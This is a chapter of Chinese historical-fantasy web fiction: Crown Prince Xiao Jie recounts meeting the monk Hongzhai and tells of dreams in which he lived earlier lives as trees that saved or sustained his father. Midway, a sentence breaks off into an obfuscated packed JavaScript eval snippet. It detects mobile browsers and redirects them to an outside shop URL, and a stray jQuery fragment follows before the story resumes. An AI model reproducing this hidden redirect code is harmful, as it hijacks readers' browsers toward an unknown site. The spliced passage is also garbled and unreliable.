奉皇二十一年初，皇太子返京，途中入娘娘庙避雪。至今娘娘庙旧址（今白龙山佛学院）仍保留明帝听经壁画，画中另一个主角就是禅师弘斋。


    梁代弘斋和尚留迹颇少，是故学界的相关研究成果不多，近年探赜材料只有佛学院某生学业论文《梁秦骨血祭祀文化考·后记一·弘斋其人》一篇，且学术价值有限，勉强可作参考。可见其下：


    和我老师同名同姓的这位弘斋和尚首次见记，正在梁明帝萧玠晚年的一部篆体回忆录里。这部书和他为他父亲昭帝所作的传记一起，成为后世窥探他们父子色彩淡褪的生前世界的宝贵孔隙。无数意义重大的历史碎片被不识珍珠者当作鱼目和破烂丢弃，而这位弘斋和尚，也就成为这片世界的守望者和这段历史的拾荒人。


    根据萧玠自述，奉皇十八年的上巳佳节重创世族命脉的同时也重创了他的精神。那股向死的意志水蛭般钻进他身体之时，萧玠感到极大的恐惧。因此，他在郑绥陪伴下，短暂告别了他长达十八年的宫廷生活。他们在民间度过三年，奉皇二十一年的二月返京，至白龙山，入娘娘庙，听弘斋和尚讲经三日。据考证，娘娘庙所在地，当为我寺如今院址。


    这里有一件非常奇怪的事，娘娘是道家元君，她的香火之所竟容许一名佛教徒布教，其实说不大通。以我的学问，实难作出符合逻辑的解释推断，遂截取萧玠回忆录原文，翻译如下：


    奉皇二十一年农历二月十八，长安气候异常，天降暴雪，我第一次见到和尚弘斋。但我相信，我在成为萧玠之前，已经和他有过多次面谈。


    是日，北风怒号，片片雪花卷落，像飞下黑蓝天际的灰白鸟群。郑绥顶风在前，一手牵马，一手牵我。我抱着旭章跟在后面，踩着他的脚印行进。即将抵达长安之际的这场暴雪让我们措手不及，四周没有人烟，我只能根据父亲讲述的故事，和郑绥上山寻找那座可以蔽身的娘娘庙。


    按理说，这样大的风雪，我们三个初来乍到者不可能如此轻易地抵达终点。但那天晚上，犹有明月。我看到月亮之中，垂降一条素练，从半空泻落，一直铺到我们脚下。那条光辉闪动的仙帔，像为道路施下仙术，让我们攀登那条山石嶙峋的雪路像走宫中平整的青石板路一样容易。


    即将爬到山顶处，一小片松树林遮挡了我们的去路。说是林，其实只有大小七棵树，但排列整齐，像被人仔细丈量过后才挖坑种植。打头的一棵已经长得格外高大，树冠一把青翠巨伞一样撑在我们头顶，在月光下，积聚的雪盖也像一粒一粒极微小的水晶碎屑，把每一根松针都描绘分明。


    郑绥摸了摸树皮，皱眉说：“奇怪，这树顶多也就七年年纪，居然长得像一棵老树一样，只看样子，说有五十年也不为过。”


    我也跟上去，学他摸树皮。他能摸出的是经验的判断，我只是感觉的驱使。这树皮很皱，像上了年纪。但其实手感柔韧，又像是它实际年岁的证明。其实摸它，更像摸一个中年男人长满老茧的手。我感觉像摸爹的手一样。我知道我想爹了。


    我说：“咱们上去吧，避一夜，等雪停了赶紧赶路，还来得及家去过年。”


    从松树地离开后，我们看到了娘娘庙。


    它像藏于山野的一名佳人，怀抱手炉，在雪中向我们频频微笑。它也比我们想象中整齐许多。院中那只大香炉为雪覆盖，炉中仍有几支清香未尽，香炷头跳跃几点火星。廊下整洁一新，应当常有人打扫。


    我们走到屋檐下，从门槛前住步，看到屋中的神奇景象。


    娘娘金像毫无尘埃，她宽额广颐，慈眉善目，说是一位神女，更像一名母亲。接着，我看到伏在她膝头、穿兜肚手举荷叶的童子，憨态可掬，跟世俗孩子对母亲的眷恋并无不同。


    而承接娘娘玉体的莲座下，趺坐一个穿百衲衣的和尚。


    他头顶除戒疤外，还有癞疮痊愈的疤痕。面庞红润，颜色年轻，望之当为我们的同龄。这样暴雪之夜，他只着单衣，光头赤脚，却浑身散发出缕缕暖气。一时间，我们闹不清这座庙到底姓佛还是姓道，只得以借宿为题开口。


    和尚睁眼，我有些讶然，他这样的年轻人，眼睛居然比我父亲还要沧桑。


    和尚说：“太子萧玠，我一直在等你。”


    我看看郑绥，将熟睡的旭章递到他怀里，跨进门槛，双手合十问：“大师认识我。”


    和尚说：“是施主认识我。”


    我道：“请教大师法号。”


    和尚说：“弘斋是也。我们上次见面，还是南秦金河之畔。”


    我笑一笑，道：“大师见谅，那大抵是三年前的事了，我的确记不清了。”


    弘斋和尚不以为意，请我们坐下，又请我们吃桌上的斋饭。幸亏郑绥在侧，不然雪天孤身遇见这样一个怪人，我决计不敢住宿。弘斋似乎明白我们的顾虑，我们吃我们的饭，他诵他的经。我们将碗筷收拾好时，他正诵到四甘露咒，南无阿弥多婆夜。我习惯性捻住腕部佛珠，也跟随默诵起来。


    这次合诵经文，成为我们沟通的桥梁。而我真正确信他是个大能者而非招摇撞骗之人，是在接下来长达三日的讲经之中。那是第一次有人和我谈论佛经，第一次有人洞察我生命的秘密，和这个王朝巨树般茁壮的历史下，埋藏地底的、树根般盘虬的我的家族关系。


    第三日中午，天地无光，大雪昏昏，我做了一个梦。从蒲团上爬起，弘斋似乎正等待我醒来，等待我向他解梦中之惑。


    我问：“大师，贵宗讲十二缘起，一切生灭互为因果。那一个家庭的缘起，真的是先有父母的因，再有子女的果吗？一定是男女结合、夫妻相配，女子之血孕育男子之精，成为能够生下孩子的母亲，这个孩子出生后，男子才成为父亲吗？会不会他和他父亲是一段因缘，和母亲是另一段因缘，会不会是父母的因各自导向他的果，而非父母共同创作了他的果呢？会不会没有父亲，母亲也是他的母亲；没有母亲，父亲也是他的父亲呢？”


    弘斋问：“为什么这么说？”


    我道：“我近年常觉自己之前不是一个人，而是一棵树。你相信吗？在我树的世界里，我很早就认识我父亲，远早于他和我‘母亲’因缘的诞生。”


    因为梦境杂乱无章，我只能采取我父亲的生命时间，对这些碎片进行排序。这么看，我第一次认识我父亲是在他的少年时代。那是我去年在船上做的梦。江水微微摇晃，像一股微风吹动树叶。我的树叶就这么被风吹散。那时候的我，是一株桑树。


    清晨的太阳就这么被一道哨声震碎，哨响后，十几只飞鸟整齐有序地落在我肩上。他们的降落地点似乎也有严格的限制，像那只最胖的鹌鹑，只敢单脚站立、踩在我枝杈口凸起的结节上。他有一次落错了脚掌，当即被飞来的石子击落在地。我看得非常清楚，那颗石头穿过我的叶片，精准击打在他脑部，只这么一下，就敲开了他花色的脑壳，把一缕粘合鲜血的脑浆溅在我下巴上。我耸动肩膀，掉下几片叶子掩住他的尸体，然后去找那杀鸟的真凶。


    院中空无一人，看不到吹哨的人，也看不到打鸟的人。我已经明白，这种口哨模拟的是鸟类的语言，这些人的目的是为了和鸟沟通、从而让鸟成为自己隐藏的助手。


    这种鸟哨是从南疆流传进来的技能。我听过一个故事——或许是栽种我的那个人埋下我时的咕哝——大抵是宫中两个妃子起了争端，一个妃子会鸟哨，气极吹起来，另一个妃子以为她气急败坏，捧腹大笑。当晚，她就被亲手豢养的红嘴鹦鹉啄坏了一双眼珠。这是一种很可怕的杀人技能，而那只被打死的鹌鹑，大概是不听训练、作出忤逆，被当了儆猴的那只鸡。


    我依旧没有看到吹哨的人，如果我当时能有后来人身的记忆，我会觉得那跟我早早消失踪迹的伯父梅道然的声音很像。但我当时只看到，紧闭的纸窗上，有一个顶针大的破洞。树的视力比人的视力要强百倍不止。就是透过那个洞，我看到屋里一个少年的脸。


    他长着一张三十岁左右的男人的脸，但个头只有十四岁高低。我发现，他头发边缘有一层极难分辨的粘痕，那应当是他脸上面具的边缘。他一身黑衣，整个人裹在房屋阴影里。我想他从头到尾，真正真实的只有那双眼睛。石头一样，没有感情。


    但一个真实的人，怎么会没有感情？


    我正纳闷，又一枚石子已经穿过窗上破口飞速弹出。我几乎没有看到他手指弹动，我左肩上那只不服鸟哨咕咕乱叫的鸽子已经被一枚飞石打穿咽喉，这次直接钉在我枝干之上。她黏腻的鲜血从我枝头丝丝缕缕流淌而下时，我听到人的声音——在屋子更里，没有感情地说：“青泥六号，暗器使用，甲等。”


    我也就知道他叫六号。


    六号和所有青泥一样，寡言，冰冷，神出鬼没。但他是为数不多的会走进院子里的人。我发现他只对院中两种东西感兴趣，一个是头顶的天，一个就是有生命的东西。他白天杀死那两只禽鸟，晚上鬼一样跳出门，在鸟尸腐烂前——我以为他会把它们葬掉，那是我透过他眼神破译的信息，结果他吃掉了它们。后来我听说，他们的领头人开始开掘他们的生理极限，六号作为最拔尖的人才——刀才，不得不在七天禁食期间进行车轮战式的搏斗训练。他太饿了。


    六号一只鸟一样，一只脚踩在我裸露的树根上，另一只脚似乎受了伤，有些绵软地拖在地上。但饥饿让他来不及顾忌肉身的痛苦，他像用两条前肢刨土的地鼠一样，动作迅速地拔掉鸟毛。死去这么久的鸟是没有流动的血的，所以当小片鲜红从他掌中积聚时，我意识到，那是他未愈合的伤口。


    现在我用人类的语言叙述，说他是个像鸟的人，但在我当时树的视觉里，他还是一只特别像人的鸟。他从这么早开始就成了同类相食的罪犯，这次有我的见证。


    我木头的心脏感到一阵恻隐，我微微耸身，让成熟的果子脱身而下。深青天幕下，葚果噼里啪啦降落得如同血雨，有些掉在碎石上，迸溅出甜美芳香的血液血浆。果实被六号一把一把拢进嘴里，他无声地狼吞虎咽，桑葚的汁水染红他的牙齿，从嘴里蜿蜒涌出，让他变成个茹毛饮血的野人。


    在我如云的枝叶下，六号吃掉了那两只烤到发苦的、没有摘除内脏的死鸟，他离去时清理了那堆余烬，烧焦的树枝散发出我这棵桑树的清香。


    六号因为不服从禁食令，被丢进一只饿狼的笼子。当他浑身是血、一瘸一拐地走回院子时真正引起领导者的注意，他们破格将他提拔为影卫。六号暂时告别了他的野兽生涯，裹上人皮。转去影卫营地的前夜，他再一次来到院中，站在把那堆鸟骨头毁尸灭迹的地方，再次抬脚踩了踩我那根枯死的根茎。轻轻地，像一只鸟的驻足。


    我知道他在跟我告别。


    已经到了深秋，我没有桑葚能再落给他，耸肩致意时坠落了几片桑叶。那边缘焦黄但叶面鲜绿的叶片被他接在手里，他看了一会，含在唇间，吹奏出一支很短的民歌。这歌曲暗含了他的籍贯和身世，预示了他的命运和爱恨，并州的狂风时隔多年远隔千里仍能随他口中气流叶底振动而掀起，我也是那时候确定，这把快刀、这头野兽，实际是一个蛰伏刀鞘里和兽皮下的人。那次训练是青泥六号所受最严酷的惩罚之一，他的确险些饿死，但我相信，不到十年之后他会有点感激这次训练。这让他挺过了潮州最艰难的岁月。


    那天之后，青泥六号转入影卫，代号重光。当时我并不知道，那会是他一辈子无法磨灭的徽记。第二天，这座庭院暴露，赶在朝廷军队赶来前，青泥头领放了一把大火，我和重光居住过几年的监牢一样的房屋被一起烧成灰烬。


    讲到这里，我缓了口气。弘斋看着我，说：“这是施主去年的梦？”


    我答道：“是。这个梦让我意识到，我所有树的梦境里，那个身份不明的主角都是我父亲。我也真正相信，六道流转，皆有轮回。我或许本来就是一棵树，而不是一个人。”


    弘斋问：“施主最早的树梦是什么？”


    我说：“是我十四岁寄居行宫那年，几乎病死——但说是树梦并不那么确切，我吐血昏迷时，梦到我变成一棵庄稼，一棵从泡烂的树皮上长出的水稻苗。我知道那是什么时间、什么地点，是玉升元年，西琼兵临的潮州城。”


    我水稻的身体喜雨，但无法耐涝。那场长达数月的雨季简直将天捅破个窟窿。街衢之上，浪花翻腾。田地之中，波涛汹涌。我面前的排水沟渠已被冲毁，形成一条新的河流。无数庄稼的残肢断腿从我眼前飘过，在蟾蜍宏亮的叫声里弥漫开铺天盖地的死尸之气。一朵梨花顺流而下，远远地像一具美丽的艳尸，直到她从我眼前一闪而过，我才看到她被沤烂的皮肤和泡到发白的身体。雨杀了我所有身为植株的兄弟姐妹，但雨还在下。若非那截死树用他无私的身躯抱紧我的根系，我这条小命早就随水东流了。水流即将把我拦腰掰断时，我从岸上——堤坝上听到被大雨冲散的马蹄。


    在这个梦里，我一下子就认出了我年轻的父亲。他披蓑戴笠，不等白马住步就跳下马背。那把环首刀挂在腰间，一把铁锹被他握在手里。我听见他大喊，横渠被冲塌了，先通沟！看好脚底，别踩秧苗！


    身后的壮丁跳下河岸一样扑通扑通跳下堤坝，在我父亲带领下重新掘沟。我父亲的手是一双神奇的手，什么东西在他手中都如臂使指，他用农具灵活得像用他那把快刀一样。泥水溅在我父亲头脸上，暴雨劈头盖脸像无数耳光。他那双如同铁铸的手臂却不知疲倦，从天公的利齿里为潮州抢出了这片即将涝死的土地，我也因此苟延残喘了半月有余。


    半月之后，西琼围城。


    天灾刚刚结束，人祸接踵而至。大水退去后，土地裸露出湿红的身体，扎根身上的所有活物全被拔取充饥，只留给她满身疮疤。这时候，我们这片幸存的庄稼终于抽穗，我羸弱的身躯里散发出阵阵馨香。感谢那截死树，在这片水土流失的土地上为我提供肥料。我拼尽全力地想提早成熟，提早被收割下来倒进热锅，赶紧喂养这座即将饿死的城市。但当父亲手拿镰刀率队出现在我面前时，我意识到还是太早。我没有发育完全，我的谷壳里还是脑浆一样流动的浆水。我用庄稼的声音大喊，等等，再等等，我尽力长了，等我结实了才能填饱你们的肚子呀！


    我哀声祈求时，听到有人类的声音和我一起传来，一高一低一响一弱，吹奏交响乐一样大声振荡。那人也喊，等等，再等等！


    那是个身材瘦弱的中年男人，他穿一件缝补禽鸟的袍子，似乎是某种身份象征。所有人给他让开条道，但他跑至我父亲面前依旧跌跌撞撞。结合我如今为人的判断，他正是当时的刺史吴月曙无疑。


    吴月曙拉紧我父亲持镰刀的手，哀声叫道：“庄稼才抽了穗……潮州已经两年没种出过粮食了！”


    我父亲毫不留情地打断，“等稻子熟了，这些人的尸骨已经烂了一个月。”


    他用警告的声音说：“使君，树根已经刨尽，孰轻孰重。”


    我看到吴月曙探出的手腕像一截泡烂的木头一样软下去。我父亲用沉默的等待，逼迫他发号施令。雨中，吴月曙振袖一挥，我父亲便迈动脚步，跨到我面前。


    在看到他的脸前，我先看到他脚下的草鞋。那是和我同胞的稻草所编，经不得长久沤水，前段已经破烂，翻出草叶湿瘪的经络。那个破洞突然让我想到我还是桑树时，院中窗上的那处破损。接着，父亲从我面前蹲下来。


    听他和吴月曙对话的漠然，我原本以为我会看到一张严酷冰冷的脸。但抬头时，我对上一双泪光闪烁的眼睛。


    大雨如帘，我却仍能分清泪水和雨水。雨水腥苦，泪水甘甜。我父亲流着泪，右手却干脆利落地掐住我的脖颈。他抽动镰刀的一瞬间，我感觉他比我要可怜。


    我父亲杀死我之前用泪水灌溉了我。


    那时候我还不知道，当天收割的全部稻苗，父亲一口没吃。我和一些麸皮树根一起煮成稀汤，灌进一个男孩的肚子。但和他空瘪出血的肠胃相比，这些不过杯水车薪。


    最后这个男孩饿死在我父亲怀里。


    我再次停下，不得不捻动佛珠来平息心情。弘斋没有提问，安静等待。我抬手擦拭额头冷汗，说：“大师，我相信三世两重因果，我相信此有彼有、此无彼无，我相信我之所以成为我父亲的儿子，不是因为他遇到了我的‘母亲’。但……我不确定这些树梦，是我患病的臆想，还是过去存在的真实。”


    弘斋问：“施主何出此言？”


    我说：“昨晚的梦里，我再次梦到了我、梦到了我父亲。”


    我说大师，我也梦到了你。


    历史有诸多未解之谜，例如怀帝之死、沈娑婆的身世，还有我这条生命，但无一例外，这些谜面都有一个真正的谜底，而弘斋和尚是我见过的唯一一个没有谜底的谜题。我登基之后命人编纂天下文集，发现他现身于许多版本故事，并且和我父亲关系匪浅。


    我的老师李文正公在他那部《元和玉升遗事新编》手稿里记录，弘斋曾在元和十五年底的白龙山遇到我父亲，而潮州地方志记载，玉升二年锦水鸳爆炸案，我父亲命悬一线、我阿耶穿耳请神之际，有一位姓名不详的癞头和尚造访公廨，拟了一个奇怪的方子让我父亲服下。文中揣测，我父亲能够起死回生，除却我阿耶的精诚所至，或许还有这一剂仙方的缘故。之后，我向父亲问起过弘斋，但父亲对这位僧人的印象十分模糊。并且除了书面记载，弘斋和尚似乎没能在任何人记忆里留下痕迹。后来我甚至去造访过撰写潮州志的人，但那位苍髯老翁告诉我，那一节的内容并非由他主笔，地方志初稿由我的老师李文正修正过，我推测那可能是我老师的补笔。


    但当时老师远在西塞，是如何将千里之外的潮州之事绘声绘色、不遗巨细地记录在案，又成了一个崭新的谜团。


    但我所言非虚，在娘娘庙做的梦里，的确出现了弘斋。我推测出那正是这个悬疑所在——玉升二年初春，我父亲死而复生的真相。我也明白了为什么我对院中那株梅树情意眷眷。


    这个梦里，我成为那棵老梅。


    此处还有一个疑惑。据我父亲所述，这株梅树早已植根庭院，在西琼兵围期间被扒掉树皮充饥，已然衰败而死，却在潮柳合治、我父亲二度


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16683034|186996||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    入住我阿耶这座院子后重新抽芽生枝，当年冬日竟已繁花满树。父亲说这是人力难成的奇迹，他这么不信天意的人，一度把它当作潮州必焕生机的朕兆。


    我相信那是我树的生命的再次轮回。


    玉升三年正月，在我父亲满身焦腐地抬回军帐，无数郎中焦急跑入，又垂头走出。院中沉闷，一派死寂里，偶尔响起两声掩嘴的低泣。三日后，狂奔而来的马蹄动地而来，我阿耶几乎是从马背摔到地上，跌跌撞撞地往里跑去。我在他们长期居住的院子里望到这一切。不多时，我伯父快步赶到院内，冲尚且正义的程忠道：“他疯他的咱们救咱们的。先前那个和尚呢，不是在院里等吗？他都要什么药，我去找！”


    我伯父话音刚落，一个人影便从我身后闪出。光头，头上戒疤癞疤交相辉映，他双手合十，抬起的竟还是弘斋和尚数十年如一日的年轻面孔。


    我伯父急声道：“今天人已经断了气……真的还有法子？”


    弘斋道：“情之一字，生生死死。有情人已抢他一命，只需要再顺一口气。”


    他递出方子，立即被我伯父夺在掌中。根据我伯父脸色判断，这是一张极其怪异的药方。他迟疑道：“别的都好说，这冲服所用的木筋胶却从没听说过。”


    弘斋道：“正是树木的血水。”


    程忠立即红脸，“你个秃驴耍弄老子？树若有血，那不成了妖精！”


    我伯父横臂拦下他，蹙眉道：“我有所耳闻，据说有些树木既通灵性，哭笑生死与人无异。这种树的根被称作肉根，斩断树根，流出的就是血水。”


    程忠急道：“统领，这些神神鬼鬼的话，哪能当真哪！”


    我伯父当机立断，“半只脚踏进鬼门关，死马当作活马医了。大师，这树生在何处，我上天下地也取血过来。”


    我听到弘斋和尚双手合十，念声阿弥陀佛，“远在天边，近在眼前。”


    他抬头，程忠我伯父顺着他的目光，落在庭中开满梅花的我身上。我听见铿然一响，我伯父抽出腰间宝刀，跨步向我走来。我以为他直接动手之时，他握紧刀柄，扑通跪在我面前。


    我伯父八尺的男儿铁打的汉子，在我面前折腰佝背，泪流满面，叫道：“梅树，好梅树，咱们同是梅字，本归一宗。你救我兄弟，我死了埋你底下，我当肥养你。”


    我伯父冲我磕了三个响头。


    他落下玉龙刀，喀嚓一声后，我根茎的断口像砍断的一根肉脖子一样，涌出汩汩血流。


    满树梅花簌簌坠落，是我树的身体抽痛发抖。我的一朵花飞进碗里，和我腥气涌动的热血一起，灌进我父亲撬开的齿关。


    三日后，父亲苏醒，我因断根一夕枯死。至于后来那株还春的梅树，就是另一条生命的故事。


    讲到这里，我并未向弘斋求证梦境的真实性。这一刻我已经做出判断，早于父亲和阿耶孕育我的那次□□，我和父亲早已血脉相融。反而是弘斋问我：“这就是施主全部的树梦吗？”


    我迟疑片刻，还是说：“不，只是那个梦境太过玄虚，和这些都有所不同。”


    弘斋笑道：“施主姑且一讲吧。”


    我说：“那是奉皇十五年，我从病中死里逃生之际所做的梦。”


    那个梦很古怪，也很简单，梦里我一会是人，一会是树。但更多的时候，我是人。我梦见一个雪夜，发生了一场山崩，我父亲骑马从悬崖顶一落而下，我跑过去接他。


    和其他梦境不同，这是一个不断循环的梦。我第一次只抓住了他的手臂，他还是直接摔死。第二次有些经验，但他脑袋撞到落石，也断了气。第三次我跑得更快，他砸断了我一条手臂，活下来，但也断了一条胳膊一条腿。第四次手脚俱全，但吐了好多血，似乎五脏有破碎。然后是第五次、第六次。


    我顿一顿，说：“直到第七次，第七次我完全垫在他身下，被他砸断了脊柱，但我父亲应当没有受很重的内外伤。这个梦和其他梦还有不同的一点，就是有实在的痛感。那种被活活砸成两截的感觉很真实，甚至我能尝到呛出来的鲜血味。然后我看到我弯曲的半截身体，是折断的一截松树。”


    我说：“我其实并不知道，我树的记忆、树的生命是否真实。但我想人有因缘，世有六道，人这辈子可以做人，上辈子或许做猪做狗，为什么不可能做树呢？”


    弘斋却讲了另一件事：“你接他七次，七次都遭受了粉身碎骨的痛苦。”


    我点头，说：“是。”


    弘斋道：“如果你的梦只是梦，那施主你这七次的体解之痛，便是平白遭受。”


    我笑了笑：“那说明我父并没有掉过悬崖。只是梦，不更好吗？”


    弘斋看我，再念声佛，说：“请跟我来。”


    我跟随他出门时，大雪已霁，一地洁白闪动，宛如镜面光辉。我看着弘斋和尚落下赤足，没有在三尺深的雪地里留下一个脚印。或许他也是我生命的守密者，谁知道呢？


    他带我走到那片松树地前，松树由远到近以由矮到高的次序分布，雪盖下青黑树冠挺立，像阴天时收在库房里的大小华盖一样。弘斋问：“不知施主是否听过桧母佛偈。”


    我听他讲道：“三百年前有一个叫桧的伐木郎，不听劝阻，砍掉整片山林，受山神诅咒，身罹重病，命在旦夕。桧母无法，拜上深山，请求山神解脱。山神说，桧本为桧树轮回，残害同胞，天理难容。若求转圜，需你每年一步一叩跪拜上山，手植一木，此木若活，桧当延寿一年。自此，桧母每年拜山植树，直到四十年后寿终正寝，次年桧亦离世。”


    弘斋面向松树，说：“这是施主你从奉皇十五年后的生命。”


    我仰头，那高大的松树投下阴影，像一个人的臂膀一样将我紧紧护在怀里。我已经无从探知我这条命究竟因何延续，那场大病中，我阿耶的鲜血通过供奉光明神来供奉我，我父亲的鲜血通过喂养蛊虫来喂养我，但我或许依旧没能争气地立刻睁开眼睛。我父亲计穷智竭之际，或许有一个穿百衲衣的癞头和尚径登宫殿，再献一条起死回生的秘方。于是，一个月黑风高之夜，我父亲脱掉冠冕，像一个赤条条的黑皮肤的人一样一跪一叩拜上白龙山。我这个不信神佛的爹在娘娘面前发了宏愿，如果我能好起来，每年会跪拜上山植松一株，我毫不怀疑如果他能再活一百年，我的生命会植满白龙山头。比起无数个幻梦，真正接住我的是我父亲的手。


    我想我的确是棵树。


    父亲种的每一棵树都是我。


    当夜，我们三人辞别弘斋，我心知这不会是我同这和尚最后一次会面。我挽过马缰，再次回望白龙山，月下松林伫立，目送我背影直至不见。这段回忆，我想我能一字不错地记录下来。我知道打开我生命秘匣的钥匙已经破碎漂流，这是除我孕育之夜的识觉外，我所捡到最完整的碎片。


    ……


    元和十八年正月十六，萧恒从悬崖坠落的那一瞬，看见了仿佛熊熊燃烧的娘娘庙。横生的松树减缓了冲力，叫他没有粉身碎骨。他背部撞上雪地的一瞬，并没有脊背断折的疼痛，他感觉有一双手抱住他，垫在他身后，砰地砸进雪里。


    意识模糊之际，萧恒听见有人说：


    阿爹，别怕。


    我接住你了。


    ***


    附录·萧恒的树梦


    奉皇十五年，萧恒重返一个大雪夜。


    他手边居然有一匹白马，一把锋利如新的环首刀。萧恒转动手臂，发现自己的肌肉骨骼居然是少年全盛状态。


    他深吸口气，观察四周环境。透过雪幕，发现正在白龙山前。


    元和十五年腊月的白龙山。


    他和秦灼的初遇之夜。


    萧恒又遇见那个和尚，癞头，赤足，手托钵盂，浑身热气。


    和尚再次将钵盂递给他，对他说：请取一钱。


    萧恒正要去取，余光却瞥见钵盂里有一粒种子。


    他并不知道这是什么植株的种子，但他知道，这就是他的种子。


    我不要钱。萧恒把种子拿出来，说，我就要这个。


    那和尚却立即变色，将种子夺过去，连连念佛，道：不成不成，他的血肉养不出你的果子，罢罢罢，还是由我自己种去。


    他这就要走，却被萧恒攥住手臂。


    萧恒说：这是我的种子，给我。


    和尚叹气：阴阳方能相配，男女方得相偕。不该出生者，更不宜久留于世。不拘什么树，若失阴阳，离枯蠹不远。


    和尚道：你种不活他。


    萧恒依旧强硬道：给我。


    和尚目光复杂，终究把那粒种子递给他。种子即将落入萧恒手心之际，突然响起一道尖利叫喊。


    萧恒浑身一颤，从奉皇十五年的梦里惊醒。


    萧玠仍躺在榻边，气若游丝。萧恒冲匆匆赶来的秋童道：“是秦大公到了？还是南秦的大夫到了？”


    秋童气喘吁吁：“不……不是，是一个和尚，一个穿单衣的癞头和尚，他揭了皇榜，说能救殿下一命！”


    萧恒颤声叫道：“快请他进来！”